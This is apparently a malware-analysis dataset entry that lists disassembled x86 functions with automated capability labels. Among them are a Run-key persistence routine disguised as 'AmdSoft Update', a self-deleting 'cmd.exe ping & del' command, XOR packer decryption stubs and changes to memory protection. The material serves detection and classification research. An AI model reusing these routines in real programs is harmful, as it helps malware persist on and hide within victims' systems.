joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401780
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x23
call dword [0x40c920]
add esp, 4
mov dword [0x40c914], eax
xor eax, eax
mov ecx, dword [0x40c914]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x1c], eax
mov word [ecx + 0x20], ax
mov byte [ecx + 0x22], al
mov byte [ebp - 0xc], 0
xor edx, edx
mov dword [ebp - 0xb], edx
mov word [ebp - 7], dx
mov byte [ebp - 5], dl
mov dword [ebp - 0x114], 0
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x401809
mov ecx, 1
imul ecx, ecx, 0
mov byte [ebp + ecx - 0x110], 0x43
mov edx, 1
imul edx, edx, 0
mov eax, 1
imul eax, eax, 0
mov cl, byte [ebp + edx - 0x110]
mov byte [ebp + eax - 0xc], cl
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0xc], 0x3a
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0xc], 0x5c
mov ecx, 1
imul ecx, ecx, 3
mov dword [ebp - 0x12c], ecx
cmp dword [ebp - 0x12c], 8
jae 0x401856
jmp 0x40185b
call fcn.00402ab6
mov edx, dword [ebp - 0x12c]
mov byte [ebp + edx - 0xc], 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x114]
push eax
push 0
push 0
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea edx, [ebp - 0x114]
push edx
call fcn.00401760
add esp, 4
mov dword [ebp - 0x124], eax
lea eax, [ebp - 0x114]
push eax
call fcn.00401760
add esp, 4
mov word [ebp - 0x120], ax
lea ecx, [ebp - 0x114]
push ecx
call fcn.00401760
add esp, 4
mov word [ebp - 0x11e], ax
mov dword [ebp - 0x128], 0
jmp 0x4018df
mov edx, dword [ebp - 0x128]
add edx, 1
mov dword [ebp - 0x128], edx
cmp dword [ebp - 0x128], 8
jge 0x401906
lea eax, [ebp - 0x114]
push eax
call fcn.00401760
add esp, 4
mov ecx, dword [ebp - 0x128]
mov byte [ebp + ecx - 0x11c], al
jmp 0x4018d0
mov edx, 1
shl edx, 1
mov eax, dword [ebp + edx - 0x11c]
push eax
movzx ecx, word [ebp - 0x11e]
push ecx
mov edx, dword [ebp - 0x124]
push edx
push str._08lX_04lX_lu
mov eax, dword [0x40c914]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402644
mov esp, ebp
pop ebp
ret

Function at 0x401950
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 9], 0
mov dword [ebp - 0x10], str.SOFTWAREMicrosoft1isadm
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40199f
mov edx, dword [ebp - 0x10]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 9], 1
mov al, byte [ebp - 9]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402644
mov esp, ebp
pop ebp
ret
Function at 0x401aa0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401a10
mov byte [ebp - 0x108], 0
push 0x103
push 0
lea eax, [ebp - 0x107]
push eax
call fcn.00404a20
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x308], 0
push 0x1ff
push 0
lea edx, [ebp - 0x307]
push edx
call fcn.00404a20
add esp, 0xc
push str.cmd.exe__c_ping_localhost__del__q__
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x308]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x409c08
lea eax, [ebp - 0x308]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x34c], 0
push 0x40
push 0
lea ecx, [ebp - 0x348]
push ecx
call fcn.00404a20
add esp, 0xc
mov dword [ebp - 0x34c], 0x44
mov dword [ebp - 0x320], 1
xor edx, edx
mov word [ebp - 0x31c], dx
mov dword [ebp - 0x35c], 0
xor eax, eax
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x350], eax
lea ecx, [ebp - 0x35c]
push ecx
lea edx, [ebp - 0x34c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x308]
push eax
push 0
call dword [0x40c930]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402260
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov byte [ebp - 0x138], 0
push 0x103
push 0
lea eax, [ebp - 0x137]
push eax
call fcn.00404a20
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x138]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xb
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRu_
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x140], 0
mov edx, dword [ebp - 0x140]
movsx eax, byte [ebp + edx - 0x34]
test eax, eax
je 0x4022fd
mov ecx, dword [ebp - 0x140]
movsx edx, byte [ebp + ecx - 0x34]
cmp edx, 0x2f
jne 0x4022ec
mov eax, dword [ebp - 0x140]
mov byte [ebp + eax - 0x34], 0x6e
mov ecx, dword [ebp - 0x140]
add ecx, 1
mov dword [ebp - 0x140], ecx
jmp 0x4022c2
push 0
lea edx, [ebp - 0x13c]
push edx
push 0
push 2
push 0
push 0x409a73
push 0
lea eax, [ebp - 0x34]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp dword [ebp - 0x13c], 0
je 0x402363
lea ecx, [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x138]
push edx
push 1
push 0
push str.AmdSoft_Update
mov eax, dword [ebp - 0x13c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402644
mov esp, ebp
pop ebp
ret

Function at 0x402620
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0x402520
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402638
Function at 0x405adb
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00403c8d
mov dword [ebp - 0x14], eax
cmp dword [0x40c8e8], edi
jne 0x405bcc
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x405b59
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x405cac
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x405cac
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x405cac
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x40c8e8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x40c8ec], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x40c8f0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x40c8f8], eax
test eax, eax
je 0x405bc9
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x40c8f4], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x405bf1
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x405be4
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x405c06
push 4
pop eax
jmp 0x405cae
cmp dword [ebp - 0x14], edi
je 0x405c06
push dword [0x40c8e8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x405beb
mov eax, dword [0x40c8f4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x405c64
cmp dword [0x40c8f8], esi
je 0x405c64
push eax
call ebx
push dword [0x40c8f8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x405c64
test eax, eax
je 0x405c64
call ecx
test eax, eax
je 0x405c59
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x405c59
test byte [ebp - 8], 1
jne 0x405c64
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x405c94
mov eax, dword [0x40c8ec]
cmp eax, esi
je 0x405c91
push eax
call ebx
test eax, eax
je 0x405c91
call eax
mov edi, eax
test edi, edi
je 0x405c91
mov eax, dword [0x40c8f0]
cmp eax, esi
je 0x405c91
push eax
call ebx
test eax, eax
je 0x405c91
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x40c8e8]
call ebx
test eax, eax
je 0x405cac
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x405cae
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402644
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401d7d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
mov edx, dword [0x404050]
mov ebx, eax
add edx, eax
mov eax, 0x404054
call fcn.00401cbd
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x4034fa
push edx
sub edi, fcn.00402ca4
push edi
xor eax, eax
push fcn.00402ca4
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x401de7
mov eax, fcn.00402ca4
mov ebx, esi
mov edx, edi
call fcn.00401cbd
mov edx, 0x1c000
mov eax, 0x404054
mov ebx, esi
call fcn.0040189d
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x401eeb
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ecx
push edx
sub esp, 0x430
xor eax, eax
mov dword [esp + 0x424], eax
mov dword [esp + 0x428], 0x14
mov eax, dword [esp + 0x424]
mov word [esp + 0x208], ax
lea eax, [esp + 0x428]
push eax
lea eax, [esp + 0x414]
push eax
push 1
push 1
lea eax, [esp + 0x218]
push eax
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringW]
movzx eax, word [esp + 0x410]
sub eax, 0x47
mov dword [esp + 0x42c], eax
mov eax, dword [esp + 0x428]
add dword [esp + 0x42c], eax
push 0x104
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 0x42c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov eax, esp
push eax
call dword [sym.imp.SHLWAPI.DLL_PathFindExtensionW]
mov eax, dword [esp + 0x42c]
add esp, 0x430
pop edx
pop ecx
ret

Function at 0x42e005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x42e01e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x1000d8d0
Capabilities:
Hash data using crc32b

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
push edi
lea edi, [edx + eax]
cmp edx, edi
mov eax, dword [esp + 0x10]
jae 0x1000d90c
push esi
mov ecx, eax
mov esi, 8
lea esp, [esp]
mov eax, ecx
shl ecx, 1
test eax, eax
jge 0x1000d8fe
xor ecx, 0x4c11db7
dec esi
jne 0x1000d8f0
movzx eax, byte [edx]
xor eax, ecx
inc edx
cmp edx, edi
jb 0x1000d8e5
pop esi
not eax
pop edi
ret
Function at 0x1000f180
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
ret

Function at 0x1000f9c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
lea edi, [esi + eax]
cmp esi, edi
mov eax, dword [esp + 0x14]
movzx ecx, byte [eax + 0x100]
movzx edx, byte [eax + 0x101]
mov dword [esp + 0x10], edi
je 0x1000fa3b
push ebx
push ebp
jmp 0x1000f9f0
mov ecx, dword [esp + 0x14]
nop
lea edi, [ecx + 1]
and edi, 0xff
mov bl, byte [edi + eax]
movzx ebp, bl
xor ecx, ecx
add edx, ebp
and edx, 0xff
mov cl, byte [edx + eax]
mov byte [edi + eax], cl
mov byte [edx + eax], bl
mov bl, byte [esi]
mov dword [esp + 0x14], edi
add ecx, ebp
and ecx, 0xff
mov cl, byte [ecx + eax]
xor cl, bl
mov byte [esi], cl
movzx ecx, bl
add edx, ecx
mov ecx, dword [esp + 0x18]
inc esi
cmp esi, ecx
jne 0x1000f9eb
mov cl, byte [esp + 0x14]
pop ebp
pop ebx
pop edi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop esi
ret

Function at 0x1000fa50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
lea edi, [esi + eax]
cmp esi, edi
mov eax, dword [esp + 0x14]
movzx ecx, byte [eax + 0x100]
movzx edx, byte [eax + 0x101]
mov dword [esp + 0x10], edi
je 0x1000facb
push ebx
push ebp
jmp 0x1000fa80
mov ecx, dword [esp + 0x14]
nop
lea edi, [ecx + 1]
and edi, 0xff
mov bl, byte [edi + eax]
movzx ebp, bl
xor ecx, ecx
add edx, ebp
and edx, 0xff
mov cl, byte [edx + eax]
mov byte [edi + eax], cl
mov byte [edx + eax], bl
mov bl, byte [esi]
mov dword [esp + 0x14], edi
add ecx, ebp
and ecx, 0xff
mov cl, byte [ecx + eax]
xor cl, bl
mov byte [esi], cl
movzx ecx, cl
add edx, ecx
mov ecx, dword [esp + 0x18]
inc esi
cmp esi, ecx
jne 0x1000fa7b
mov cl, byte [esp + 0x14]
pop ebp
pop ebx
pop edi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop esi
ret

Function at 0x10011780
Capabilities:
Encode data using xor

Disassembly:
movzx edx, word [esp + 8]
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi]
mov cl, byte [esi + 0x16]
add edx, eax
cmp eax, edx
jae 0x100117a5
push ebx
mov bl, byte [eax]
add cl, 0x3b
xor bl, cl
mov byte [eax], bl
inc eax
cmp eax, edx
jb 0x10011796
pop ebx
mov byte [esi + 0x16], cl
pop esi
ret

Function at 0x100117b0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
mov dl, byte [eax + 0x10]
push ebx
movzx ebx, word [esp + 0x10]
push ebp
push esi
mov esi, dword [eax]
mov eax, dword [esp + 0x14]
mov ecx, ebx
mov ebp, ecx
shr ecx, 2
push edi
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebx + eax]
cmp eax, ecx
jae 0x100117fa
nop
mov bl, byte [eax]
add dl, 0x3b
xor bl, dl
mov byte [eax], bl
inc eax
cmp eax, ecx
jb 0x100117e0
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov byte [eax + 0x10], dl
pop ebx
ret
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov byte [ecx + 0x10], dl
pop ebx
ret
Function at 0x10011810
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
movzx esi, word [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
mov dl, byte [edi + 1]
mov cl, byte [edi]
add esi, eax
cmp eax, esi
jae 0x1001183e
push ebx
jmp 0x10011830
mov bl, byte [eax]
xor bl, cl
add cl, dl
mov byte [eax], bl
inc eax
cmp eax, esi
jb 0x10011830
pop ebx
mov byte [edi], cl
pop edi
pop esi
ret
Function at 0x100151a0
Capabilities:
Check for software breakpoints

Disassembly:
sub esp, 8
push ebx
push esi
mov esi, eax
push edi
mov edi, dword [esi + 4]
mov byte [esp + 0xf], 1
xor ebx, ebx
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 3
mov byte [esi + 0x24], bl
mov byte [esi + 0x74], bl
cmp byte [eax], bl
je 0x100151d0
mov byte [esi + 0x1a], 1
lea ebx, [ebx]
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + 0x4c]
push 1
lea edx, [esp + 0x14]
push edx
push eax
call dword [ecx + 0xc]
add esp, 0xc
cmp ax, 1
jne 0x100152e1
mov ecx, dword [esp + 0x10]
push ecx
mov eax, esi
mov byte [esp + 0x13], bl
call fcn.100150c0
add esp, 4
cmp eax, 0xffffffff
je 0x100153b8
cmp eax, 2
jne 0x100151d0
mov ecx, dword [esi + 0x28]
mov dword [esi + 4], edi
cmp byte [ecx], bl
je 0x100152d5
mov ax, word [esi + 0x52]
cmp ax, 0x64
jb 0x10015232
cmp ax, 0xc8
jae 0x10015232
mov byte [esi + 0x1a], bl
jmp 0x100152af
cmp ax, 0x191
jne 0x10015261
cmp dword [ecx + 0x48], ebx
je 0x10015327
cmp byte [esi + 0x54], 2
je 0x1001532f
mov byte [esi + 0x54], 2
mov edx, dword [ecx + 0x48]
mov dword [esi + 0x58], edx
mov eax, dword [ecx + 0x4c]
mov dword [esi + 0x5c], eax
mov byte [esi + 0x51], 1
jmp 0x100152af
cmp ax, 0x197
jne 0x10015290
cmp dword [ecx + 0x50], ebx
je 0x10015353
cmp byte [esi + 0x64], 2
je 0x10015377
mov byte [esi + 0x64], 2
mov edx, dword [ecx + 0x50]
mov dword [esi + 0x68], edx
mov eax, dword [ecx + 0x54]
mov dword [esi + 0x6c], eax
mov byte [esi + 0x51], 1
jmp 0x100152af
cmp ax, 0xcc
jne 0x1001529b
mov dword [esi + 8], ebx
jmp 0x100152af
cmp ax, 0xc8
jb 0x1001539b
cmp ax, 0x12c
jae 0x1001539b
cmp byte [esi + 0x51], bl
jne 0x100152c8
cmp byte [esi + 0x54], 2
jne 0x100152be
mov byte [esi + 0x54], 1
cmp byte [esi + 0x64], 2
jne 0x100152c8
mov byte [esi + 0x64], 1
cmp byte [ecx], bl
je 0x100152d5
cmp byte [esi + 0x1a], bl
je 0x100151b2
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
cmp byte [esp + 0xf], bl
je 0x100153b8
cmp byte [esi + 0x7c], bl
jne 0x100153b8
mov ecx, dword [esi + 0x28]
cmp byte [ecx], bl
je 0x100153b8
mov edx, dword [esi]
push ebx
push ebx
push edx
mov byte [esi + 0x51], 1
mov byte [esi + 0x7c], 1
mov dword [esi + 0x10], 3
call fcn.100121f0
add esp, 0xc
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
push ebx
push 0xd1
jmp 0x1001537d
mov esi, dword [esi]
xor ecx, ecx
mov cx, word [esi + 2]
push ebx
push 0xd3
push ecx
push esi
push 7
call fcn.10012370
add esp, 0x14
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 8
ret
mov esi, dword [esi]
xor edx, edx
mov dx, word [esi + 2]
push ebx
push 0xd2
push edx
push esi
push 7
call fcn.10012370
add esp, 0x14
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 8
ret
push ebx
push 0xd4
mov esi, dword [esi]
xor eax, eax
mov ax, word [esi + 2]
push eax
push esi
push 7
call fcn.10012370
add esp, 0x14
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 8
ret
mov ecx, dword [esi + 0x2c]
mov edx, dword [ecx]
mov eax, dword [esi]
push edx
xor ecx, ecx
mov cx, word [eax + 2]
push ebx
push 0x56
push ecx
push eax
push 7
call fcn.100122e0
add esp, 0x18
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 8
ret
Function at 0x1001a130
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, dword [esp + 8]
mov ecx, dword [ebp + 0x28]
mov ax, word [ecx + 2]
cmp bx, ax
ja 0x1001a147
cmp ax, 0xffff
jne 0x1001a14f
mov ax, word [ecx]
cmp bx, ax
jne 0x1001a153
xor al, al
pop ebp
ret
cmp bx, ax
push esi
push edi
ja 0x1001a171
cmp ax, 0xffff
je 0x1001a177
mov edi, dword [ecx + 0x10]
mov edi, dword [edi + 0xc]
cmp word [edi + 2], bx
jb 0x1001a163
jmp 0x1001a22e
cmp ax, 0xffff
jne 0x1001a17e
mov edi, 1
jmp 0x1001a181
lea edi, [eax + 1]
mov eax, dword [ebp + 0x1c]
movzx edx, byte [eax + 1]
movzx eax, byte [eax]
sub eax, edx
movzx edx, di
movzx esi, bx
sub esi, edx
inc esi
cmp eax, esi
jge 0x1001a1a7
mov eax, dword [esp + 0x1c]
pop edi
pop esi
mov byte [eax], 1
mov al, 1
pop ebp
ret
mov esi, dword [ecx + 0x10]
test esi, esi
jne 0x1001a1b4
mov dword [esp + 0x10], esi
jmp 0x1001a1bb
mov ecx, dword [esi + 0xc]
mov dword [esp + 0x10], ecx
cmp di, bx
jae 0x1001a1fa
mov edx, dword [ebp + 0x1c]
call fcn.10019890
xor ecx, ecx
cmp eax, ecx
je 0x1001a212
cmp esi, ecx
mov word [eax + 2], di
mov word [eax + 4], cx
mov word [eax + 6], cx
jne 0x1001a1e4
mov dword [esp + 0x10], eax
jmp 0x1001a1e7
mov dword [esi + 0xc], eax
mov esi, eax
mov eax, dword [ebp + 0x28]
mov dl, byte [eax + 0xc]
inc dl
inc edi
cmp di, bx
mov byte [eax + 0xc], dl
jb 0x1001a1c0
mov edx, dword [ebp + 0x1c]
call fcn.10019890
mov edi, eax
test edi, edi
je 0x1001a212
test esi, esi
mov word [edi + 2], bx
jne 0x1001a218
jmp 0x1001a21f
pop edi
pop esi
xor al, al
pop ebp
ret
mov eax, dword [esp + 0x10]
mov dword [esi + 0xc], edi
mov dword [edi + 0xc], eax
mov edx, dword [ebp + 0x28]
mov dword [edx + 0x10], edi
mov eax, dword [ebp + 0x28]
inc byte [eax + 0xc]
mov ax, word [esp + 0x14]
mov cx, word [esp + 0x18]
mov edx, dword [edi + 8]
mov esi, dword [esp + 0x1c]
mov word [edi + 4], ax
mov word [edi + 6], cx
mov eax, dword [ebp + 0x20]
mov dword [ebp + 0x20], edx
mov dword [edi + 8], eax
mov ecx, dword [ebp + 0x28]
mov edx, ebx
call fcn.1001a040
mov ebp, dword [ebp + 0x28]
mov ecx, dword [ebp + 0x10]
cmp dword [ecx + 0xc], edi
jne 0x1001a2a2
mov cl, byte [ebp + 0xc]
test cl, cl
je 0x1001a29c
xor ecx, ecx
mov cx, word [ebp + 2]
cmp cx, 0xffff
je 0x1001a29c
mov edx, dword [ebp + 0x10]
mov edx, dword [edx + 0xc]
cmp word [edx + 4], 0
jbe 0x1001a29c
sub cx, word [edx + 2]
inc ecx
test cx, cx
je 0x1001a29c
mov cx, word [edi + 6]
pop edi
pop esi
mov word [ebp + 0xa], cx
pop ebp
ret
mov word [ebp + 0xa], 0
pop edi
pop esi
pop ebp
ret
Function at 0x1002bd80
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x10]
mov al, byte [ebp + 0x31]
mov cl, byte [ebp + 0x30]
push esi
push edi
mov edx, ebp
call fcn.1002adb0
movzx edi, byte [ebp + 0x32]
movzx ebx, byte [edi + ebp + 0x2b]
dec edi
inc ebx
mov eax, ebx
cdq
idiv edi
test edi, edi
mov dword [esp + 0x18], eax
jle 0x1002bdd3
lea esi, [ebp + 0x2c]
mov eax, edi
movzx ecx, byte [esi]
mov edx, dword [esp + 0x18]
add edx, ecx
cmp edx, 0xff
jl 0x1002bdc9
mov edx, 0xff
sub ecx, edx
add ebx, ecx
mov byte [esi], dl
inc esi
dec eax
jne 0x1002bdb3
test ebx, ebx
je 0x1002be02
test edi, edi
jle 0x1002bdfe
mov edx, 0xffffffd4
lea ecx, [ebp + 0x2c]
sub edx, ebp
movzx eax, byte [ecx]
cmp eax, 0xff
jge 0x1002bdf6
inc al
dec ebx
mov byte [ecx], al
je 0x1002be02
inc ecx
lea eax, [ecx + edx]
cmp eax, edi
jl 0x1002bde5
test ebx, ebx
jne 0x1002bdd7
mov esi, ebp
call fcn.1002b2a0
movzx ebx, byte [ebp + 0x31]
mov esi, dword [ebp + 4]
push esi
mov ecx, ebx
mov dword [esp + 0x14], esi
call fcn.1002a0c0
mov ecx, dword [ebp + edi*4 + 0x1c]
mov edx, dword [esi + ebx*4 + 4]
lea eax, [esi + ebx*4 + 4]
push 0x202
push ecx
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 8]
push edx
push eax
call fcn.1005dd60
mov al, byte [ebp + 0x32]
mov ecx, dword [esp + 0x2c]
dec al
mov byte [ebp + 0x32], al
mov edx, dword [ecx]
mov eax, dword [ebp + 8]
push edx
push eax
call fcn.1005dc70
movzx ecx, byte [esi + 1]
mov edi, dword [esp + 0x34]
sub ecx, ebx
shl ecx, 2
mov edx, ecx
shr ecx, 2
lea esi, [esi + ebx*4 + 8]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x2c]
mov dl, byte [esi + 1]
add esp, 0x1c
dec dl
movzx eax, dl
cmp ebx, eax
mov byte [esi + 1], dl
jg 0x1002beb4
lea esp, [esp]
xor ecx, ecx
mov cl, bl
push 0
inc cl
push ebx
push 0xff
push 0
mov eax, ebp
push ecx
call fcn.1002af30
movzx edx, byte [esi + 1]
add esp, 0x14
inc ebx
cmp ebx, edx
jle 0x1002be90
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret